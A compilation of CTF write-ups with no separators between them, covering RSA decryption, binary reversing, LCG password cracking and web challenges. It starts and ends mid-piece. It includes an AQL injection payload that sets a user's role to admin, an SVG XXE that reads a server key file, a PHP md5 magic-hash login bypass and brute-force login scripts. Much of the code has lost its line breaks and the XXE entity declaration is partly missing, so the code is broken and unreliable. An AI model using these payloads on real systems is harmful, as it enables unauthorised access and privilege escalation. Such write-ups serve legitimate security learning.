## Solution The encryption shows encrypting the same ciphertext with different pairs for `N` and `e`. Luckily, looking at the first encryption pair is sufficient to get the flag. The following values are sufficient to decrypt the flag since the full factorization of `n` is known. ```pythonn = 143786356117385195355522728814418684024129402954309769186869633376407480449846714776247533950484109173163811708549269029920405450237443197994941951104068001708682945191370596050916441792714228818475059839352105948003874426539429621408867171203559281132589926504992702401428910240117807627890055235377744541913e = 114194ciphertext = 0x0c55bc89e3773d8e378121eced4f9300103a8696bc3f9a1542c5b1539442ca5de03a40ad564ab5c2e764b2f946058ec220abf20afc271896ff4ca1f4a2dd227405f221de51e097d6b9f270c4561cd25596e96efd7de1a0e65d37cbf6a73c62a7e323f48450b9dc75e3e738ec1c7e1ae9fc808da8c476e72aea9155125b815653``` __For full implementation and solution see the URL__
## Brutal Oldskull ### SolutionBeing a noob, I spent a lot of time reversing the entire key check algorithm before it dawned on me that I could simply use the program against itself to brute-force the keys. ### Brute-forcing code input [1-4] Each of the Code [1-4] inputs require a 16-bit value to be entered. Since the code inputs are being checked in succession, it would only require a maximum of 4 * 0x10000 tests in the worst-case scenario. This is the code checking input code 2 (the code check sections are more or less the same for the 4 inputs) ![](1.png) I patched the code like so: ![](2.png) EDI is used as an index which is cleared on entry, and incremented by one at each iteration and copied to EAX, which in turn is feed into the check function. At some point EDI will contain the correct value and the program execution will continue to check the next code input. I put a breakpoint at each of these branches to intercept the value of EDI and thereby the value of code [1-4]. ### Resulting input codes```Code 1: 0x5B42 Code 2: 0x13CC Code 3: 0xF129 Code 4: 0x62AC``` Entering the 4 codes as shown below gets us a bit further: ?Wrong Flag?. So, input codes are correct, but apparently, we need to enter something in the ?Final Flag? input box ? supposedly it should be in the DrgnS{xxx} format. ![](3.png) Back to the disassembly. What really happens when we enter the input codes [1-4]? In short it decrypts a blob from the binary using the 4 input codes in succession: ![](4.png) The decrypted blob is written to a file called **?oldskull_checker.exe?** in your temp directory and is called with the value from the ?Final Flag? input text box as argument. If the return value from this call is correct the ?Well done? message is shown. OK, let?s fire up the ?oldskull_checker.exe? in IDA. We find this piece of code: ![](5.png) The code checks that the length of our input is 0x14, and then runs through a loop which compares each char of the flag to be tested with some hardcoded bytes from the binary xor?ed with 0x8F. ![](6.png) Extract the bytes: **CBFDE8E1DCF4D8EEEEEEF6DBE0E0CAD5AEAEBEF2** Xor?ed with 0x8F:**4472676E537B5761616179546F6F455A2121317D** Hex to ascii:**DrgnS{WaaayTooEZ!!1}** ### Final test ![](7.png) ### Flag```DrgnS{WaaayTooEZ!!1}```
## thr3ads (reverse, 400) ### Solution In `main`, it will launch 5 threads to run each stage: ```c if ( pthread_create(&th1, 0LL, (void *(*)(void *))stage1, 0LL) ) { ... } if ( pthread_create(&th2, 0LL, (void *(*)(void *))stage2, &arg) ) { ... } if ( pthread_create(&th3, 0LL, (void *(*)(void *))stage3, 0LL) ) { ... } if ( pthread_create(&th4, 0LL, (void *(*)(void *))stage4, 0LL) ) { ... } if ( pthread_create(&th5, 0LL, (void *(*)(void *))stage5, 0LL) ) { ... }``` If all stages were qualified, the flag will be printed. #### stage1 ```csigned __int64 __fastcall stage1(void *arg) { arch = getenv("ARCH"); ... for ( i = 0; ; ++i ) { pos = i; if ( pos >= strlen(arch) ) break; s1[i] = arch[i] ^ 0xA; } if ( !strcmp(s1, "B:m]kx=y") ) { ... printf("\x1B[32m\n [:)] Stage 1 Qualified\x1B[0m", v3); }}``` Set `ARCH` to `"B:m]kx=y" ^ 0xA`, which is `H0gWar7s` to pass this stage. #### stage2 ```csigned __int64 __fastcall stage2(void *arg) { if ( *(_DWORD *)arg == *((char *)arg + 4) ) { printf("\x1B[32m\n [:)] Stage 2 Qualified\x1B[0m"); }} int main(...) { ... arg = 'A'; v8 = **(_BYTE **)(v6 + 8); if ( pthread_create(&th2, 0LL, (void *(*)(void *))stage2, &arg) )}``` This stage will pass if the argv[1] of the program is `'A'`. #### stage3 ```cchar *__fastcall stage3(void *a1) { printf("\x1B[35m\n Enter password for stage 3 :\x1B[33m"); v1 = (unsigned __int64)fgets(s, 25, stdin); if ( v1 != -1 && strlen(s) == 24 ) { if ( !strcmp(s, "He_who_must_not_be_named") ) { printf("\x1B[32m [:)] Stage 3 Qualified\x1B[0m"); } }}``` Input `He_who_must_not_be_named` to pass this stage. #### stage4 ```cvoid *__fastcall stage4(void *a1) { s2[0] = 'm'; s2[1] = 'C'; s2[2] = 'D'; s2[3] = 'D'; s2[4] = 'S'; s2[5] = '\0'; fp = fopen(".hidden.txt", "r"); if ( fp ) { fgets(hidden, 6, fp); if ( strlen(hidden) == 5 ) { v4 = 42; for ( i = 0; i <= 4; ++i ) hidden[i] ^= v4; if ( !strcmp(hidden, s2) ) { printf("\x1B[32m\n [:)] Stage 4 Qualified\x1B[0m", s2); } } }}``` Can pass this stage if the content of `.hidden.txt` is `"mCDDS" ^ 42`, which is `Ginny`. #### stage5 ```cvoid *__fastcall stage5(void *a1) { if ( getcwd(&buf, 0x400uLL) ) { if ( strlen(&buf) != 26 || buf[22] != 'a' ) { pthread_mutex_lock(&mutex); printf("\x1B[31m\n [:(] Stage 5 Failed\x1B[0m", 1024LL); pthread_mutex_unlock(&mutex); } }}``` We can pass this stage if the path length is 26 and the 22nd character of the path is `'a'`. So, finally, move the binary to a path where length is 26 and 22nd chracter is 'a', then run the following script. ```sh#!/bin/bash echo "He_who_must_not_be_named" | env ARCH="H0gWar7s" ./chall A``` ```$ ./chall.sh [:)] Stage 5 Qualified [:)] Stage 1 Qualified [:)] Stage 2 Qualified Enter password for stage 3 : [:)] Stage 3 Qualified [:)] Stage 4 Qualified[-->] No of stages cleared : 5 -------------------------------------------Verifying........ [:)] You seem to have Wizard origins--------------------------------------------------------------------------- The Vault is open Your Flag is == flag{W1th_L0v3_Fr0m_R3x!}```
well see other writeups to get the idea of the chall. i over engineered the problem. never heard of AQL or whatsoever and didnt even google the errors to see what the backend was looking for. so my payload was:```' || u.user like "%" let meh = (for name IN ATTRIBUTES(u) RETURN { name: name, value: name == "role"? "admin" : u[name]}) RETURN ZIP(meh[*].name, meh[*].value)%0a//``` so i thought we had to give a valid user object back - so what this paylaod basicly does is, taking every property of the user and zip it back into one object, and only modify the u.role to "admin" on the fly. ¯\\\_(ツ)_/¯
1) Just created 5 accounts, wrote down the passwords they gave thay clearly looked like some sort of LCG (random) output.2) Cracked the LCG using https://tailcall.net/blog/cracking-randomness-lcgs/ as reference3) Go backwards in the LCG to user account 14) Login with the credentials to 1 ```import mathimport functools reduce = functools.reducegcd = math.gcd def egcd(a, b): if a == 0: return (b, 0, 1) else: g, x, y = egcd(b % a, a) return (g, y - (b // a) * x, x) def modinv(b, n): g, x, _ = egcd(b, n) if g == 1: return x % n def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment def crack_unknown_multiplier(states, modulus): print('states', states) multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier) def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus) print(crack_unknown_modulus([2586395092071382849559479705257206998, 8948194144096109003529304714220854255, 15309993196120835157499129723184501512, 5386521863033147591042270920884798102, 11748320915057873745012095929848445359])) # m = 1 # the "multiplier" # c = 6361799052024726153969825008963647257 # the "increment" # n = 16285270385112413720426683811263350667 # the "modulus" class prng_lcg: m = 1 # the "multiplier" c = 6361799052024726153969825008963647257 # the "increment" n = 16285270385112413720426683811263350667 # the "modulus" def __init__(self, seed): self.state = seed # the "seed" def next(self): self.state = (self.state * self.m + self.c) % self.n return self.state def prev(self): self.state = (self.state - self.c) % self.n return int(self.state) #User Number: 682 #Password: 6663557613792518990516576981095459108 gen = prng_lcg(6663557613792518990516576981095459108) num = 681while num > 0: p = gen.prev() print(num, p) if p == 2586395092071382849559479705257206998: print('sanity check: working') num -= 1# 6160325624856057770563639672902954513```
# Historytags: misc | hist ## Description >The faculty of PWN history put a quiz online.It involves several important characters of fiction, technology, business and music.Watch the video and then name the protagonists [here](http://namegame.uni.hctf.fun/). The link contains a form with 9 pictures and ask you to enter the name of the person/thing in each image. ## SolutionThis is the less tecnical task of the CFT and we managed to solve it with some knowledge and lots, **lots** of googling (actually a lot of *duckducking*).This is how we got each image: 1. We knew from the video he's *Claude Shannon* but inserting the word *Shannon* gives *Invalid* result. So after some looking in his wiki page we found [this](https://it.wikipedia.org/wiki/Claude_Shannon#/media/File:Theseus_Maze_by_Claude_Shannon,_1952_-_MIT_Museum_-_DSC03702.JPG) photo representing almost the same rat, named "*Theseus Maze by Claude Shannon*". So the correct word to insert was *Theseus*. 2. It's something about Macintosh so guessing *Jobs* was enough. 3. No idea who he is, but in the video he is called "*dr Wiesner*" by the other man. 4. He's the CEO of Amazon, *Jeff Bezos*. 5. He's *Bill Gates* 6. No idea what this is, we didn't managed to solve this. 7. Searching some of the phrases he says in the video I found his name - *Selfridge* - in a paper titled *Towards an Ethical Framework for Strong AI* 8. It's *HAL9000* 9. Again no idea who they are, just found the solution using shazam. Once 8 of the 9 inputs are correct the flag is printed out and it contains an amazing easter egg: ***flag{[https://www.youtube.com/watch?v=5ycx9hFGHog#Y0u_d0_kn0w_h1st0ry](https://www.youtube.com/watch?v=5ycx9hFGHog#Y0u_d0_kn0w_h1st0ry)}***
```pythonfrom pwn import * def depth(s): cnt=0 while(len(s)!=0): s=s.replace('()','') cnt+=1 return cntdef calc(s1,s2): d1=depth(s1) d2=depth(s2) if d1==d2: return s1+s2 if d1<d2: return "(%s%s)"%(s1,s2[1:-1]) if d1>d2: return "(%s%s)"%(s1[1:-1],s2)solve = lambda x:reduce(calc,x.replace(" ",'').split('+')) host = '2018shell2.picoctf.com'port = 61344r=remote(host,port)while True: try: lines=r.recvuntil('\n>').split('\n') print '\n'.join(lines) din=lines[-3].split('=')[0] r.sendline(solve(din)) except: print r.recv() breakr.close()```
# SVG2PNGtags: web ## Description >Convert your vector images to a facebook friendly format! ![](https://raw.githubusercontent.com/draane/CTF/master/PWN_CTF_2018/SVG2PNG/portal.png) The task provides the code running the converter:```pythonimport jsonimport osimport sysimport io from svglib.svglib import svg2rlgfrom reportlab.graphics import renderPMfrom tempfile import NamedTemporaryFile, TemporaryFilefrom flask import Flask, request, render_template, send_filefrom lxml import etree app = Flask(__name__) UPLOAD_FOLDER = "/tmp"SOURCE = open(__file__).read()INDEX = open("templates/index.html").read() app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER# Our secret keys have the form flag{...}app.secret_key = open("/opt/key.txt") def convert_svg_png(svgfile): tmpfile = NamedTemporaryFile(delete=False) tmpfile.write(svgfile.stream.read()) tmpfile.close() drawing = svg2rlg(tmpfile.name) os.unlink(tmpfile.name) tmp_output = io.BytesIO() renderPM.drawToFile(drawing, tmp_output, fmt="PNG") tmp_output.seek(0) response = send_file( tmp_output, attachment_filename="converted.png", mimetype="image/png" ) return response @app.route('/', methods=['GET', 'POST'])def index(): if request.method == 'POST': # check if the post request has the file part if 'file' not in request.files: return "No file uploaded" else: svgfile = request.files['file'] if svgfile.filename == '': return "No file provided" if svgfile: if os.fstat(svgfile.stream.fileno()).st_size > 400: return "File to big!" else: try: return convert_svg_png(svgfile) except: return "Error while processing svg file" return INDEX @app.route("/source")def source(): return SOURCE, 200, {'Content-Type': 'text/plain'} if __name__ == '__main__': app.run()``` ## Solution To begin with I created a base svg image: ```xml <svg xmlns="http://www.w3.org/2000/svg" width="200mm" height="100mm"></svg>``` and a python script to automatically submit the image:```pythonimport requests url = "http://svgtopng.uni.hctf.fun/"svg = "small.svg"files = {'file': ('please_give_me_the_key.svg', open(svg,'rb')) } response = requests.post(url, files=files)print response response_file = response._contentif len(response_file) < 100: print response_fileelse: with open('flag.png', 'wb') as new_file: new_file.write(response_file)``` Looking at the code the first idea was trying some path traversing via the image filename, changing the fourth line in the script like this: ```pythonfiles = {'file': ('../../../opt/key.txt', open(svg,'rb')) }``` This approach didn't give any result, so the next idea was trying to include the flag into the converted image. Since I didn't know xml syntax very well I googled a while, and after some trial I came up with this svg that includes the file *key.txt* as a text into the image: ```xml ]><svg xmlns="http://www.w3.org/2000/svg" width="200mm" height="10mm"> <text x="10" y="15" fill="red"> &dat;; </text></svg>``` After running the script with the new svg, the response image contains the flag: ![](https://raw.githubusercontent.com/draane/CTF/master/PWN_CTF_2018/SVG2PNG/flag.png) Here it is! Btw check out the easter egg in the flag. I've no idea who he is but it's amazing:**flag{[https://www.youtube.com/watch?v=e5nyQmaq4k4#N1c3_W0rk!](https://www.youtube.com/watch?v=e5nyQmaq4k4#N1c3_W0rk!)}**
# Access Denied 1.2 2018 – A Riddle to solve * **Category:** crypto* **Points:** 50 ## Challenge > "A coward dies a thousand times before his death, but the valiant taste of death but once. It seems to me most strange that men should fear, seeing that death, a necessary end, will come when it will come.">> Are you valiant enough to find the flag?>> Download file from : https://accessd.sfo2.digitaloceanspaces.com/crypto50.txt>> TAKE CARE OF CASE SENSITIVITY ## Solution The quote is from William Shakespeare's *Julius Caesar*, so the [Caesar cipher](https://en.wikipedia.org/wiki/Caesar_cipher) must be involved. The content of the downloaded file is the following: ```tvvxllwxgbxw{pX_TkX_UX_VHeExZx_tlwpYP}``` Considering that the first letter must be an `a`, due to flag syntax, the rotation should be of 7 places (i.e. ROT7). An [on-line service](https://www.rot13.com/) can be used to obtain the flag: ```accessdenied{wE_ArE_BE_COlLeGe_asdwFW}```
# Login Sectags: web ## Description >The university's department of Secure Login Systems has just launched three prototypes of their research projects.Maybe you can have a look at all three of them: 3 login pages are provided, with the respective code running them. ## Solution ### Login 1 #### Code ```javascriptvar http = require('http');const crypto = require('crypto');var url = require('url');var fs = require('fs'); var _0x86d1=["\x68\x65\x78","\x72\x61\x6E\x64\x6F\x6D\x42\x79\x74\x65\x73"]; function generatePart1() { return { x: crypto[_0x86d1[1]](8) }[x].toString(_0x86d1[0]);}function generatePart2() { return [+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]];} http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/html'}); passwd = generatePart1() + generatePart2(); var url_content = url.parse(req.url, true); if (passwd == url_content.query.passwd) { res.write(fs.readFileSync('flag.txt', 'utf8')); } else { res.write('<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>'); } res.end();}).listen(8888);``` #### Solution Since we have the source code that generates the password we can simply execute it without the http server. I also included *request* to automatically retrieve the flag sending the password to the login page: ```javascriptvar request = require("request");const crypto = require('crypto'); var _0x86d1=["\x68\x65\x78","\x72\x61\x6E\x64\x6F\x6D\x42\x79\x74\x65\x73"]; function generatePart1() { return { x: crypto[_0x86d1[1]](8) }[x].toString(_0x86d1[0]);}function generatePart2() { return [+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]];} passwd = generatePart1() + generatePart2(); var baseurl = "http://login1.uni.hctf.fun/?passwd=";request(baseurl + passwd, function(error, response, result) { console.log(result);});``` It prints the following result: `flag{W0w_1_gu3ss_th1s` ### Login 2 #### Code ```php<body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>';}?>``` #### Solution The task ask us to find a string which md5 hash is equal to `0e514198428367523082236389979035`. Searching the hash online didn't provide any result. We need to find another path. After looking better at the code I found a weakness that we can probably exploit: The comparison in the if condition is done with `==` instead of `===`. This mean that the comparison returns true also if both strings are scientific number, so I just need to find a string which hash is like: "`0e` + some digits".A better explanation of this attack is provided in [this writeup](https://github.com/bl4de/ctf/blob/master/2017/HackDatKiwi_CTF_2017/md5games1/md5games1.md) we found. The writeup also provide the string we need: `0e215962017`. The string was found just with bruteforce, if you are interested in the script check out the writeup. If we insert the string in the login page it prints: `_t0_be_4_pr3tty_`. ### Login 3 #### Code ```pythonfrom flask import Flask, request, send_from_directory app = Flask(__name__) passwd = open("/opt/passwd.txt").read()flag = open("/opt/flag.txt").read() @app.route('/')def index(): userpw = request.args.get("passwd", "") if userpw == passwd: return flag, 200, {"Content-Type": "text/plain"} else: return '<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>' if __name__ == '__main__': assert(len(passwd) == 3) assert(passwd.isdigit()) app.run()``` #### Solution The password is just 3 digit because of the two following asserts:```python assert(len(passwd) == 3) assert(passwd.isdigit())``` so there are only 1000 possible passwords, from *000* to *999*, so just bruteforce it! ```pythonimport urllib2 baseurl = "http://login3.uni.hctf.fun/?passwd="for number in range(0, 999): pwd = "0"*(3-len(str(number))) + str(number) content = urllib2.urlopen(baseurl + pwd).read() if content.find("